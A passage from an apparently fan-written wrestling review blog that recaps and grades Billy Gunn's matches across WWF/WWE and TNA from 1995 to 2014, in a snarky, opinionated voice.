The Gunns get a near fall off some double teaming but Billy walks into an H Bomb (double powerbomb) to stop the momentum dead. Eli puts Billy in the Tree of Woe but tags in Jacob instead of doing anything about it. Jacob draws in Bart to allow for more double teaming and Eli gets two off a powerslam. Billy comes back with a face plant to Jacob and makes the tag off to Bart. Everything breaks down and the Blus are sent into each other, allowing the Gunns to hit the Sidewinder (side slam/guillotine legdrop) on Eli for the pin.

Rating: D. This wasn’t so much bad as it was completely uninteresting. That’s the problem with so many parts of 1995 WWF: the people just weren’t interesting at all and there was no reason to care about a lot of the matches. All you had here was a midcard tag match that ran about six minutes. It wasn’t any good and there was no story to it, so why was I supposed to care?

The Gunns would win three Tag Team Titles. Here’s a title defense at King of the Ring 1996.

Tag Titles; Smoking Guns vs. Godwins

These two are fighting for the tag belts so it must be the mid 90s. The country boys bring animals with them. Geez Hillbilly Jim was an awesome character. We go to the back where the Guns and Sunny are with Doc. We see a clip of the Body Donnas and their new manager who is a guy in drag named Cloudy. Sunny is dressed as a cowgirl and that’s all you need to know. The Guns are the champions here.

These were some of the weakest gimmicks of all time. The Guns are going heel here as Ross insists he saw them turn down autographs for some kids earlier at the hotel. Well at least the fans weren’t at an airport asking about the NWO. Phineas likes Sunny here too. Billy implies he’s screwed Sunny, which he likely did since he was in the WWF in the 90s. We cut to a random interview with Cloudy who can’t even fake a girl’s voice.

This is Vince’s weird idea of humor I think. It lasted all of a month I think. The match is boring so it doesn’t mean anything. These two fought so many times and while it was ok, it was never really all that great. This match just isn’t that entertaining. Henry puts an arm lock on Bart who taps like crazy but that wouldn’t mean anything for about two more years. So this goes for about ten minutes and nothing of note happens.

I kept looking for something to talk about but this is just ten minutes of pure unadulterated average wrestling. It’s not that good and it’s not that bad but it’s not interesting or anything. It would be fine on any TV show or house show but on a PPV, I doubt it. We of course go to a massive brawl that ends with Bart hitting Phineas with something that resembles a cowboy boot but it’s not entirely clear for the pin.

Rating: C. That’s the epitome of what this match is: average. It’s just there. It’s not bad, it’s not good, it’s just a ten minute tag match where the faces acted like faces and the heels acted like heels. There was no appeal to this match at all. These two teams feuded for what seemed like ever and it never went anywhere. The tag division was more or less dead until 99 when the Hardys and Edge and Christian became the answer to the cruiserweights.

Here’s a fourway Tag Team Title match from Summerslam 1996.

Tag Titles: Smoking Gunns vs. New Rockers vs. Bodydonnas vs. Godwinns

The heel Gunns are defending and this is under elimination rules. The New Rockers are Marty Jannetty and Leif Cassidy (Al Snow) and the Bodydonnas are Skip (Chris Candido) and Zip (Tom Pritchard). Skip is in a neck brace here due to a potentially broken neck but he’s wrestling anyway. The Gunns have Sunny who looks GREAT as a cowgirl. Billy Gunn starts with Henry Godwinn with Hank throwing Billy around with ease.

A wheelbarrow slam sends Billy out to the floor and it’s off to Phineas vs. Zip. After a comedic feeling out process it’s off to both Gunns at the same time. Zip and Phineas strut across the ring for no apparent reason as the Gunns freak out about having to fight each other. The referee says either make contact or be disqualified. After no contact, Bart tags in Zip so the crowd can have something else to be bored by. Jannetty trips Zip and Billy gets an easy pin so the Bodydonnas don’t have to be out there long.

Henry comes back in to crank on Billy’s arm but Billy quickly tags out to Jannetty. Marty slowly pounds on Henry and plays to the comatose crowd. Leif gets the tag but quickly brings in Billy to work over Henry. The Rockers have a miscue with the Gunns and Henry gets two off a side slam on Billy. Marty’s save results in an elbow drop on Billy as everything breaks down. Henry kicks Marty into Leif and hits the Slop Drop (reverse DDT) on Cassidy for the elimination.

We’re down to the Godwinns vs. the champions and it’s Bart in for the first time. Henry explodes out of the corner with a clothesline to put both guys down. Bart breaks up a tag attempt as this match is dragging terribly. Billy comes in and the place is so silent you can hear the insults between the wrestlers.

Back to Bart to pound away on Henry for a few moments before bringing Billy back in. Henry catches a charging Billy in a World’s strongest Slam and there’s the lukewarm tag to Phineas. He cleans house and everything breaks down with Phineas hitting the Slop Drop on Billy, only to have Bart blast Phineas from the top for the pin to retain.

Rating: D-. This was so boring I could barely keep my eyes open. The tag title scene was so barren at this point that there were practically zero interesting acts at all. That would be the case for over a year when the New Age Outlaws FINALLY brought the division back to life for a few years. Terribly boring match.

Now we’ll get to a very important phase of Billy’s career. He would ditch the Smoking Gunns team and become a dancing cowboy named Rockabilly. This led to a series of matches against one Jesse James, including this one at In Your House XIV.

Jesse James vs. Rockabilly

Oh let’s get this over with. Jesse James is the returning Roadie, who was revealed as being the voice that Jeff Jarrett was lip synching to. The debuting Rockabilly is Billy Gunn, but now as a dancer under Honky Tonk Man’s tutelage, following months of Honky looking for his new protege. It’s even more confusing since Billy punched Honky two weeks ago. Billy kicks away at Jesse’s ribs and comes back with a dropkick, sending Billy to the floor. A clothesline off the apron takes Billy down and Jesse says he’s coming for Honky next.

Back in and Billy scores with a dropkick of his own before posing a bit. The match slows down a lot as Billy is more interested in dancing than going for a win. Now it’s off to a chinlock before Billy rakes the eyes to slow James down. A corner splash misses and Billy hits the post and eventually James gets up to pounds away in the corner. Billy sends him to the floor before bringing it back inside for more dancing. As usual this goes badly as his suplex is countered into a small package by Jesse for a fast pin.

Rating: D. Egads this show has been horrible so far. This is another feud that went on for months with no one caring, though in this case there would be something good to come out of it. We’ll get to that later, but for now there was nothing to see here and no one was interested in these two at this point.

The guys got tired of fighting each other and became a team called the New Age Outlaws. Here they are in action at Survivor Series 1997.

Team New Age Outlaws vs. Team Headbangers

New Age Outlaws, Godwinns
Headbangers, New Blackjacks

The Outlaws I’m sure you know, the Godwinns are evil here and are Henry and Phineas, the Headbangers are Mosh and Thrasher, and the Blackjacks are Barry Windham and Bradshaw. Windham (looking FAT here) starts with Phineas, the latter of which is immediately knocked to the floor with a shoulder block. This is when the Outlaws are a new team of jobbers who would soon shock the world and win the titles from the LOD.

Off to Bradshaw who looks skinny here by comparison to what he would become. Phineas gets a boot up in the corner as the evil ones take over. The Outlaws don’t want to come in so it’s off to Henry instead. Bradshaw gets two off a legsweep and puts on an abdominal stretch before falling back and rolling up Henry for the pin. Back to Windham to face Phineas, with Barry hitting a gutwrench suplex and a lariat for two. Phineas comes back with a clothesline of his own for the elimination and to tie it up at three.

Mosh comes in to take over on Phineas with a devastating armbar. It’s off to Billy who beats down Mosh and receives homophobic chants in his general nature. Or maybe it’s something in French. We get down to some basic wrestling and the fans go SILENT. Mosh tries a bulldog but Billy shoves him off and gets the pin for a quick elimination. It’s Thrasher/Bradshaw vs. Phineas/Outlaws.

Thrasher (trivia for you: Thrasher had a big hand in training Big Show) comes in and works on the arm but Phineas takes him down in return. The action in this match is really dull so far. Thrasher goes up and hits the Stage Dive (top rope seated senton) for the pin to make it 2-2. Off to Bradshaw vs. Road Dogg with the future JBL pounding away. A gutwrench powerbomb puts Dogg down but a Billy distraction lets Roadie get a school boy to pin Bradshaw.

Thrasher pounds on Dogg but walks into a pumphandle slam. He counters into a cover on the Dogg, but Billy comes off the top with a legdrop. Now when I say legdrop, I mean he literally is a foot away from Thrasher but gets the pin anyway. This looked so bad that even though I had seen it before, it still made my jaw drop. The Outlaws survive.

Rating: F-. The ending alone makes this a failure, but on top of that, the best worker in this match by far was Thrasher. Let that sink in for a minute. The Outlaws had only been the Outlaws for a month and a half or so at this point so no one cared about them, the Godwinns are as interesting as corporate accounting, the Blackjacks are the Blackjacks, and the Headbangers are barely interesting at all. This was a horrible match and an even worse choice for an opener.

The Outlaws would shock the world and beat the Legion of Doom for the Tag Team Titles. Here’s the rematch from Royal Rumble 1998.

Tag Titles: New Age Outlaws vs. Legion of Doom

The Outlaws make fun of the 49ers who lost in the NFC Title game recently to the Packers. The LOD says that Animal’s back is fine and they’re putting the Outlaws on ice tonight. The Outlaws jump the challengers which goes badly in a hurry, as Animal powerbombs the Dogg. The champions try to walk out but get thrown back in so we can start with Hawk (who had one mohawk shaved off earlier in this feud) vs. Roadie.

Off to Animal as Road Dogg’s mouth is bleeding. The pounding continues so here’s Hawk for his one wrestling move in the neckbreaker. Gunn gets the tag and Hawk hits a freaking Lou Thesz Press of all things so he can pound away some more. Animal powerslams both Outlaws down and it’s off to a reverse chinlock on Gunn. Hawk comes in for his second surprise move of the match in an STF.

That goes nowhere so it’s back to Animal, who is tripped up by Roadie. They head outside where Animal is sent into the steps to finally switch the momentum. Hawk gets double teamed in the ring but clotheslines both Outlaws down (Animal is still legal) but charges into the post. Dogg finds some handcuffs and attaches Hawk to the post, making it a handicap match. Animal makes a comeback with a double clothesline, but Dogg hits him with a chair for the DQ.

Rating: D. So with an injury AND his partner tied up on the floor, Animal STILL couldn’t lay down for a pin? Seriously? This match sucked and would have been just slightly better on Raw with less time. The LOD was nothing at this point while the Outlaws were finally starting to turn some heads. Until this point though, they were two jobbers with the titles who kept escaping with them. Brighter days were coming.

Time to change history. From Raw on March 30, 1998.

Tag Titles: Cactus Jack/Chainsaw Charlie vs. New Age Outlaws

Road Dogg is wearing a JOB Squad t-shirt for some reason. The old guys jump them as they get in and the fight is on. Funk has a BAD bruise on his back/hip. Gunn gets suplexed into the cage and is hung upside down from the top of the cage. There are no tags in this. This is a total mess but that’s supposed to be the point so it works.

Funk is tied to the cage with something. Cactus manages to get a double DDT but it’s a handicap match now. Funk gets an arm free but can’t untie himself. He’s tied by his throat. Jack and Gunn go up to the corner and Billy gets crotched. DX comes in and Pac blasts Cactus with a chair and a spike Piledriver onto said chair gives the Outlaws the titles again.

Rating: C. Call this right in the middle because it was a big mess, but that was the idea here. Also the whole point of this was to show that DX had fresh blood in it as the Outlaws are officially part of DX now. This was a perfect fit as they were all about the lack of respect and all that jazz. They worked rather well in that role too.

We’ll jump ahead to Survivor Series 1998 with the Outlaws defending the Tag Team Titles.

Tag Titles: New Age Outlaws vs. Headbangers vs. D’Lo Brown/Mark Henry

The Outlaws are defending of course. This was set up on Raw with both challenging teams doing something that I can’t remember to earn the shot. Billy and Brown start things off but Mosh comes in off a blind tag to try to steal a pin on Billy. Mosh hits a running body attack in the corner on Gunn before diving at Brown as well. This is pretty messy so far. The Outlaws pound on the former Nation guys in opposite corners before the Headbangers double team Roadie.

Brown and Mosh trade pin attempts on Dogg. This is the old triple threat tag match rules where there are three people at a time in there which I’ve always preferred. Off to Henry for a bearhug on Roadie until Mosh makes the save. Off to Brown, Thrasher and Dogg as this continues to be ugly stuff. Gunn gets in a LOUD argument with the referee as Brown ranas Thrasher off the top.

Roadie pounds on Brown and Thrasher but Henry takes his head off with a clothesline. Brown’s running powerbomb to Thrasher is countered into a sunset flip for two. A Henry legdrop gets the same on Dogg, followed by the Headbangers double teaming Roadie for the same. Brown offers a pact with Mosh but gets kicked in the balls for his efforts. JR can almost be heard moaning at how bad this match is. Roadie finally escapes the beating for the hot tag to Billy. The fans LOVED the Outlaws so at least they’re reacting here.

Brown hits the Sky High on Billy but since everyone is out of position, it takes forever to start the count. Jesse Ventura would have a field day with this. To further the stupidity here, Billy hits a Fameasser on Mosh but Henry makes the save with a splash, also hitting Mosh. Mark just stays on top of Mosh for a cover, but after two finisher it only gets two. That Mosh man, he’s TOUGH. Billy finally piledrives Mosh to retain the titles.

Rating: F. This was terrible and there’s no other way to put it. They were all over the place and no one was even reading the same book out there. The referee had to count very slowly so the saves could be made and there was no flow to this at all. Just awful and JR’s commentary makes it even funnier, but in a kind of sad way.

We’ll even get in a singles match on Raw from January 25, 1999.

Billy Gunn vs. Goldust

Gunn’s ankle is still messed up from last night. HHH says no catchphrase tonight, because he wants Rocky right here. He doesn’t think Rock made Mankind say I Quit and he knows Rock can’t make him say I Quit. HHH remembers the last time they fought for a title when HHH took the IC Title off Rock, but for once, be a man and accept the challenge.

Oh yeah we have a match here. Goldust jumps Billy from behind and tries for Shattered Dreams about a minute in. Billy counters by mooning Goldie, making him miss a cross body. Now Goldust’s music and pyro go off, and the Blue Freaking Meanie comes out dressed as Blue Dust. Billy gets two off a rollup and three off a piledriver after Blue Dust hit Goldie with the Head. Angle advancement here.

The team would split in 1999, setting up this match at Over the Edge 1999.

Road Dogg vs. Billy Gunn

You can tell Roadie is extra hyped up here. Gunn cuts a pretty bad promo, saying he carried the team. Just based on the opening here, we have a far better match here than we had in 2008. For one thing it’s 9 years younger and they can actually move out of the ring which helps a lot. Road Dogg is face here mind you. Billy hits the Jackhammer which is called a vertical suplex here.

They’re far more energetic this time too and the crowd is more into it. Also there’s no cage which is helping a lot. Lawler is back to himself now. I think the idea of out of sight and out of mind is helping here. I think Gunn wins the award for world’s worst sleeper ever. We get the comeback and it’s a pretty decent one.

The fans are freaking responding to this. On the floor Gunn hits Roadie in the head with the timekeeper’s hammer. Yeah this is over. Oh dang I would have bet on that being the finish. Gunn gets a shot to the throat with some tape before the Famerasser ends it.

Rating: C+. FAR better effort here. This was a pretty good match I thought and at least the ending worked pretty well. It’s not great but it’s not bad at all. Roadie’s energy was off the charts as always and it worked pretty well. The crowd was into it also so I can’t complain and the wrestling was bearable.

Billy would take part in the 1999 King of the Ring. He would win the tournament but the semi-final and final are so bad that we’ll look at his quarterfinal match instead.

KOTR Quarterfinals: Ken Shamrock vs. Billy Gunn

Billy beat Viscera and Shamrock beat Jarrett to qualify. Gunn has a tag belt but isn’t a champion in a way too complicated storyline that was shockingly a Russo idea. He won one of the titles or something like that in a 6 man but it was never official and the APA got them back in a few days. Yeah it was pointless. Gunn says get out here and forfeit. Shamrock beats up the EMTs and comes out anyway to a nice pop but no music until it comes on as I’m typing that and I’m too lazy to fix it.

Teddy Long, the referee here says that Ken is too hurt to fight but he rings the bell anyway. Gunn is actually smart here and pounds on the chest and ribs and nothing else. Shamrock actually gets a quick ankle lock but a shot to the ribs gets Gunn out of it. You can more or less see the ending coming from miles away. Shamrock starts a comeback and drops a ton of F bombs while spitting up pink blood that’s staining his skin.

I like the blood from the mouth but Vince, you’re miles ahead of everyone in the wrestling world. Buy good fake blood. Shamrock tries a hurricanrana but it’s countered into a powerbomb and the blood flow causes the referee to call it due to the injuries. Also, blood doesn’t hang off the lip like a string. Long takes the safest through the ropes bump I’ve ever seen.

Rating: C+. Although it’s three minutes long, this was actually decent. In those three minutes, we have psychology in the chest/rib work, some decent shots, a decent performance from Shamrock, and an ending that makes sense. It’s weak, but it makes sense. They have way too many matches here so we have three matches and no regular endings yet. That can’t be a good sign.

Here’s a dream match from Unforgiven 1999.

Tag Titles: Edge/Christian vs. New Age Outlaws

Edge and Christian are young faces here and asked for a title match on Heat. How weird is it that Edge and Christian would be light years ahead of the Outlaws at the end of the day? The Outlaws are freshly reunited here and the pop is noticeably quieter. And I’m wrong as they’re WAY into the Road Dogg entrance stuff. Edge and Gunn start us off. Korderas is refereeing again which is good as there shouldn’t be any drama here.

This was when Gunn was still bearable in the ring so this is decent to start off with. Edge and Christian were young and awesome at this time so this is a fun match on paper. More or less no way they were going to win though as the Outlaws had just won the belts recently. Lawler asks Ross if he likes it doggy style. That’s just wrong. The Outlaws are showing off here which you NEVER see. It’s not bad actually. Edge is WAY into steroids here as he’s ripped as all goodness.

I don’t know if I believe this but I think the Outlaws are having a good standard tag match here. What in the world am I watching? You could tell that the challengers were going to be awesome at some point in the future. What would be called Poetry in Motion when the Hardys used it misses.

Gunn gets the hot tag and he just starts cleaning house. NICE powerslam. This is a solid match actually. And here are the Hardys and Gangrel. They beat up Edge and Christian so the Fameasser ends it. Screw this good match thing! We want RUN INS! Russo was gone but still being felt at this time I guess.

Rating: B. Solid stuff here as they went back and forth with the Outlaws showing that they could go when they wanted to. This of course makes me want to know: why didn’t they do it more often? It’s a shame they didn’t as this was awesome. Of course Edge and Christian would have their time.

Billy would be out of action for a big chunk of 2000 with an injury but would come back in the fall as a singles act. Here he is getting an Intercontinental Title shot on Smackdown, Novmeber 23, 2000.

Intercontinental Title: Eddie Guerrero vs. Billy Gunn

Before the bell, Billy quickly takes him to the floor and hammers away before dropping him face first onto the barricade. They head inside for the opening bell and both guys try a cross body for a big collision. Eddie brings in the title belt and a ref bump lets him drop Billy face first onto the belt for two.

The Frog Splash gets the same and Eddie is livid. Back up and a powerslam gets two for Gunn and the tilt-a-whirl slam gets the same. A Jackhammer plants Eddie for no cover but the Fameasser gets another near fall. Gunn tries it again but Eddie sends him into the ropes for a breather. Eddie goes up but dives into the One and Only (sleeper slam) for the pin and the title.

Rating: D+. You think we had enough kickouts from finishers here? It’s a five minute match on Smackdown, not the main event of Summerslam. The match was decent enough and a good way to get Billy over, even though he lost the title less than a month later. Eddie breaking up with Chyna made this as easy a match as you could ask for. Nothing special but the kickouts were pretty odd.

The Invasion didn’t go well for Billy but here’s a match against a future star on Raw, June 25, 2001.

Edge vs. Billy Gunn

Fast paced stuff to start but Billy heads to the floor. Baseball slide puts him down and a missile dropkick gets two back inside. Billy hits a spinebuster for no cover. Out to the floor with Billy in control. There’s a guy in the crowd doing a Hogan impression and since we’re watching a Billy Gunn match, the fans cheer for Hogan.

Edge spears him down and makes a comeback until Christian accidentally hits him. Billy gets two off a rollup and Jackhammers Edge for two. There’s a boring chant. Who thought giving BILLY GUNN a long match in 2001 was a good idea? Billy loads up the Fameasser but Christian comes in with a backbreaker so Edge can Impale Billy for the pin.

Rating: F+. And 99% of that is for Gunn. What in the world were they thinking by pushing him OVER AND OVER AGAIN??? I mean he just kept getting time on TV and less and less people cared every time until he owed the people some caring for the interest getting so low. Terribly uninteresting match and the crowd turned on it. Why is Edge facing Billy Gunn anyway? He beat Kurt Angle last night to win the King of the Ring and now he’s got Billy Gunn?

Billy would hook up with Chuck Palumbo for the gay (literally, as in they had a wedding ceremony) tag team of Billy and Chuck. Here they are defending the Tag Team Titles at Wrestlemania X8.

Tag Titles: Dudley Boyz vs. Hardy Boyz vs. Billy and Chuck vs. APA

Saliva plays the Dudleyz to the ring which gives us the VERY nice image of Stacy in the Dudley attire dancing to the song. I’ve always thought she never looked better than she did in those outfits. Billy and Chuck are defending and this is elimination rules. Bradshaw jumps Chuck to start but Billy saves him from the fallaway slam. Instead it’s Billy taking it as it’s all Bradshaw so far.

A big belly to back suplex puts Chuck down again and it’s off to Faarooq. The crowd is eerily silent for this. Chuck clips Faarooq in the jaw with a right hand and it’s off to Billy for some choking. Billy loads up the Fameasser but gets caught in a wicked powerslam. Back to Bradshaw as things break down a bit. Billy tags in D-Von but the APA breaks up a 3D attempt. Faarooq hits a spinebuster on Chuck on the floor and there’s the big Clothesline to Billy, but Bradshaw walks into the 3D for the elimination.

The Hardys and Dudleys start fighting for old times’ sake before Matt and Jeff start beating on Chuck. The Dudleys load up a table but the Hardys dive on them to slow it up. Back in and there’s the Whisper in the Wind to Bubba. Stacy gets up on the apron and pulls up her shorts to distract Jeff, only to get spanked and kissed. A Bubba Bomb slows down Billy before Bubba chokes on Jeff with his shirt.

Things finally calm down a bit until we get to Jeff vs. Bubba again. With D-Von’s help, Bubba manages a backdrop to put Jeff down again and puts on a chinlock. D-Von comes in and runs over Jeff before pounding away in the corner. A belly to back suplex gets two and it’s back to Bubba. Having a regular tag match between these two is probably the best idea given how lame Billy and Chuck were in the ring. Bubba stands on Jeff’s crotch in the Tree of Woe before tagging in D-Von for some choking.

A clothesline by Jeff allows for the hot tag to Matt, only to see him immediately run over by Bubba. The backsplash misses of course though and Matt tries to speed it up a bit, only to get caught in What’s Up. Before D-Von can dive though, the champions remember they’re in this too and shove D-Von through the table on the floor. Matt pops up and it’s the Twist into the Swanton for the pin on Bubba, leaving us with Billy and Chuck against the Hardys.

A Side Effect puts Billy down and there’s Poetry in Motion for good measure. Chuck gets the same along with a Twist of Fate. Jeff adds in the Swanton but Billy sneaks in with a Fameasser on Jeff but Chuck can only get two off o it. Instead it’s a belt shot to Jeff’s head for the pin by Chuck to FINALLY end this.

Rating: D. This was only thirteen minutes long but MAN ALIVE was this a chore to sit through. There was no need for this to be on the card and everyone from the commentators to the fans had no interest in it. The only good thing about this was how insanely hot Stacy looked. This could have easily been cut and made this already bloated show a bit easier to sit through.

Billy would miss some time due to an injury but come back in 2003. Here he is at Vengeance. If he loses, Torrie has to sleep with Jamie Noble against her will, because that kind of stuff can be wagered in wrestling matches.

Billy Gunn vs. Jamie Noble

Jamie brings a briefcase with his “stuff” in it. They actually open it which is creepy. Jamie’s girlfriend Nidia comes out and is mad at him over this clearly. See the criticisms of soap opera stuff that WWE gets? Noble works on his knee so his regular stuff can’t work. Gunn busts out a random Diamond Cutter for two. Didn’t see that one coming. Noble hooks a DDT from the second rope. I liked that.

Nidia puts his foot on the ropes though since she doesn’t want Torrie sleeping with Noble. That makes sense at least. Both girls beat him up. Billy gets rammed into Torrie and gets rolled up for the pin. Torrie says Holy censored and it’s rather amusing. Cole shouting NOBLE GETS TO SLEEP WITH TORRIE cracked me up. He wants to watch. Oh dear.

Rating: D. Bad match on top of a bad angle doesn’t help. Naturally it didn’t happen and Noble and Gunn started teaming together because it’s professional wrestling and of course it doesn’t make sense. Torrie looked hot though so I can’t complain much there. Still though, stupid angle and a stupid match.

Billy would be used very infrequently around this time but we’ll look at one more WWE match from Judgment Day 2004.

Smackdown Tag Titles: Charlie Haas/Rico vs. Billy Gunn/Hardcore Holly

Charlie/Rico are the champions here and it’s another oddball team. Rico is fully embracing his gay side here and the only good thing is Jackie Gayda looking incredible. However, Billy Gunn and Hardcore Holly? Bart Gunn wasn’t available to reform the New Midnight Express? The challengers argue over who starts first so Rico slaps/grabs their rumps. Wouldn’t Billy be used to that?

Ok officially we start with Haas vs. Holly. After a brief feeling out process Holly grabs a headlock and it’s technician vs. power brawler to start us off. Off to Rico who slaps Haas’ chest to come in. Rico touches the redneck Holly and it’s off to the former groom as Rico does a cancan. Rico kisses his hand and puts it on Billy’s face to really mess with Gunn. We have butt slapping and some rodeo before Rico kicks Billy who falls onto his knees in front of Rico. Yep we’re in a comedy match.

Gunn finally gets ticked off and drills Rico, and by that I mean he punches him you sick freaks. Holly vs. Haas now with Holly getting a suplex for two. We hit the chinlock before Gunn comes in and hammers away. Rico: “Don’t you hurt my Charlie!” Holly’s kick between the legs (to the stomach) gets two. I missed a Rico likes hardcore joke in there somewhere.

Holly goes to the middle rope and does the jump into the boot of a guy in a move where the only reason I went to the top was to jump into the boot because a double clothesline is beyond my intelligence spot. Haas gets the tag (moderate temperature) and Rico cleans house (no French Maid outfit?) but gets caught in a Fameasser. There was a blind tag to Haas though so no cover. Alabama Slam is caught by a superkick from Rico lets Haas get a sunset flip on Holly to retain.

Rating: C-. Just a tag match based in comedy here. Nothing worth seeing at all as Jackie looking good was a regular occurrence. Not a bad match or anything mind you, but when the biggest star is Billy Gunn and he’s a glorified jobber who would be gone in six months, the same week as Rico actually. Nothing terrible, but just there for the most part.

It’s off to TNA now, starting at Destination X 2005.

Outlaw vs. Kevin Nash

This is first blood. No particular reason for it but whatever. Oh he’s Kip James apparently. Seriously is Kip James the best name you could give him? Honestly? Let’s remind us that Nash has won a bunch of titles in WCW and WWE, but never the NWA Title. Oh dear. Wait, according to Vince that’s the same thing so whatever.

Nash still has the really short hair here and looks like an idiot because of it. James is working on the knee which at least makes sense here. Wait a minute, no it doesn’t. It’s FIRST BLOOD. Why wouldn’t you go after the head? Oh that’s right: It’s Billy Gunn in TNA. Hey, let’s try to drive a screwdriver into the head of a man. That’s not bad at all.

Gunn goes with a chair instead. Well at least he’s trying to kill him with a less violent method. Gunn stops the offense to use wire cutters to cut a turnbuckle pad off. The referee goes down but I have no idea how that happened. Oh never mind. I just don’t care.

Nash hits Snake Eyes onto the buckle and there’s no referee so cue up the screwjob music. Jarrett runs out and nails Nash with the belt and the physician or someone runs in to clean things up. An attorney made him I think. Oh good night this is dumb. West isn’t helping at all either. Yep there’s the bell and Nash loses.

Rating: D+. It’s not bad but I just didn’t care at all. No one cares about Gunn anymore and no wrestling company accepts that. First Blood matches tend to suck anyway but they’re easy ways to get cheap heel heat I guess. Not that anyone can tell the difference in TNA though between faces and heels.

From Final Resolution 2006. You knew this wouldn’t take TNA long.

Diamonds in the Rough vs. James Gang

It’s Elix Skipper/David Young and this is the return match for the James Gang. BG and Skipper start things off. Skipper shoves him down and it’s a very slow start. Skipper suplexes BG over and works on the arm for a second. BG comes back with the dancing punches and shaking knee drop for two. David and Kip come in for a few collisions that go nowhere.

The Diamonds try some double teaming but get caught in a double Japanese armdrag by Kip. They get sent to the floor and the Gang beats on them on the floor. The fans chant for the Outlaws but BG walks into a spinebuster from Young for no cover. There’s a reason the guy lost like 86 matches in a row. Skipper pounds on BG for a bit before it’s back to Young who covers, only to have Kip distract the referee. David misses a moonsault and it’s hot tag to Kip. Skipper clotheslines him down and everything breaks down. Young breaks up the pumphandle slam but Kip hits the cobra clutch slam for the pin on Elix.

Rating: D. You know there’s a running theme with these New Age Outlaws matches: they’re not that good. These guys were never known for their in ring work and it’s pretty clear why. The matches just aren’t any good with the action being generic the whole way through. There was nothing to this and it was a horrible return for the James Gang or whatever they’re called this month.

Then they turned into the Voodoo Kin Mafia which is some shot at Vince. I don’t get it either. From Slammiversary 2007.

Voodoo Kin Mafia vs. Damaja/Basham

At least we can look at Christy’s hottness. Big brawl to start and no one is really all that interested. Christy is chased into the ring and oh hey there’s the bell. Basham (Danny) vs. Road Dogg to start us off. Roadie gets beaten down and it’s off to Kip. He gets double teamed as well as the Bashams set for a double suplex. Roadie spears one of them and Billy gets a small package to Basham for the pin. This was NOTHING, not even lasting three minutes.

One more showdown for old times’ sake. From Lockdown 2008.

BG James vs. Kip James

Seriously, how has this match not happened before? This started as Roadie won a tag title shot in Feast or Fired and had his 60+ year old father be his partner of all things. No one bought it and this is what it was setting up. This should have been the finals of the 99 KOTR but that would have made sense so there we go.

Billy breaks out a Diamond Cutter of all things to counter the punches of Roadie. Sorry, I refuse to call him Kip James. Roadie is easier to type than BG James also, even though that really is closer than Jesse James. The problem with this whole PPV shows up again: while this could actually be a decent feud/match, the first match of it simply doesn’t belong in a cage as it’s just a regular match but in a cage.

A Fameasser gets two and then a low blow has both guys down. Naturally the finish sucks: Billy stomps his foot three times before going for a splash which misses and Roadie rolls him up for the pin. They do the reunion for about two seconds and Kip does the heel turn which no one cares about but of course it’s evil and no one saw it coming. After a bad and short feud with Matt Morgan, Billy would be Cute Kip to just end any shred of credibility he had.

Rating: D-. What was the point of this again? Actually that’s not a fair question. This match actually had a point. However, giving them seven minutes in a pointless cage match is just freaking stupid by TNA as they throw away a potentially kind of big match with no time and a terrible finish. Makes sense at least.

Then at Genesis 2009, he was brought in as the surprise main event replacement because TNA doesn’t know how wresling works.

Main Event Mafia vs. Front Line

It’s Booker, Steiner and a mystery partner here vs. AJ, D-Von and Foley but I just felt like trying to make it seem more important. Booker is Legends (Global/TV) Champion here. He’s also the British version here. The suitable replacement is of course Cute Kip. As in Kip James. As in Billy Gunn. As in the “he’s gay but we’re not going to say he’s gay because it would likely get us in trouble” character.

Fans are SILENT when he’s announced. This was a one shot deal for the Mafia and everyone just freaked out when they picked him, as no one bought him as anything but a joke. Tenay of course mentions DX and the Outlaws because we have to remind people of that instead of his success in TNA. Gunn lists off his WWF accomplishments and says he really is a tough guy. This is about a minute after Booker introduced him as the Cutie.

This is Foley’s return to the ring. AJ is still the awesome face at this point and the most awesome wrestler in the world. Him without the robe works MUCH better than with it. Foley is apparently wearing the flannel to be like Brother Ray. That’s so stupid I can’t even make a joke about it. I guess Foley is the big draw here. Steiner cusses out West before the match starts.

We leave the ring immediately and it’s a huge mess. Foley goes up for the elbow but the heels all move. We finally get things back to at least close to calm and start doing some tagging. That’s a pretty good lineup of tag wrestlers on the Mafia side actually. On the other side it’s not bad either I guess, but seriously, D-Von Dudley is in a main event in 2010. What sense does that make?

It’s just a six man tag though. There’s nothing on the line and there’s nothing of importance here. After this match no matter who wins or loses things will be exactly the same. Why should I want to watch this match? Better yet why would I pay to see this match? That’s the issue I have with tags ending PPVs: they accomplish nothing. AJ fights out of trouble with a Pele.

Fameasser misses and Kip takes the Pele. Hot tag to Foley who beats up Kip James. They head to the floor and brawl a lot….and there’s the bell? It’s a double countout but Cornette comes out and says restart it just because I guess. Booker says Cornette doesn’t have the authority to do that. Foley says he does though so it’s restarted, also making it a hardcore match.

Everything goes nuts of course as everyone is fighting in the aisle with weapons etc. The fans want tables. Foley goes onto the announce table via Booker. After some more skirmishing, Foley tells D-Von to get the tables. Booker is put on a regular table and out of NOWHERE comes AJ with a huge dive to crush Booker and take out everyone but D-Von and Steiner.

Top rope headbutt to Steiner and Foley busts out Socko. It’s in Booker’s mouth but Steiner saves. Everything goes insane and Steiner takes a double arm DDT onto a chair from Foley to get pinned. As the Front Line celebrates, Tenay talks about how the Mafia won tonight. Uh, yeah sure they did dude. Just glad this is over.

Rating: F+. I know I’ve said this a lot but Kip James and D-Von Dudley were just in the main event of a PPV. Add in that to the fact that it was a meaningless six man tag with nothing on the line and that we stopped for a promo series in the middle and that the hardcore stuff was weak and why should this get anything above failing? Just a bad match to main event a PPV with to put it mildly.

Billy would head back to WWE for a bit as a nostalgia act in 2014. From Raw on January 20, 2014.

Billy Gunn vs. CM Punk

Road Dogg is on commentary and says the Outlaws turned on Punk for the publicity which has gotten them a Tag Team Title shot. Punk sends Billy to the floor and into the apron but stops to yell at Roadie. Billy gets in a cheap shot and we take a break. Back with Punk putting on a sleeper but getting suplexed down and put in a chinlock. Billy slams Punk down and finally takes his shirt off, only to be knocked to the floor again.

Punk loads up a suicide dive but instead goes to the floor to beat up Road Dogg. The knee in the corner looks to set up Punk’s bulldog but a Dogg distraction lets Billy hit a tilt-a-whirl slam for two. Punk comes right back and loads up the Macho Elbow but Dogg pulls Gunn to the floor. Not that it matters as the GTS connects for the pin on Billy a few seconds later for the pin at 8:57.

Rating: C. I’m not a big Billy Gunn fan but this worked well enough. There was no way you put either Outlaw over Punk and having them double team him was the only way to make the match even the slightest bit competitive. This was more about advancing the Punk vs. Authority story and there’s nothing wrong with that.

And one more as the Outlaws won the Tag Team Titles and defend them at Elimination Chamber 2014.

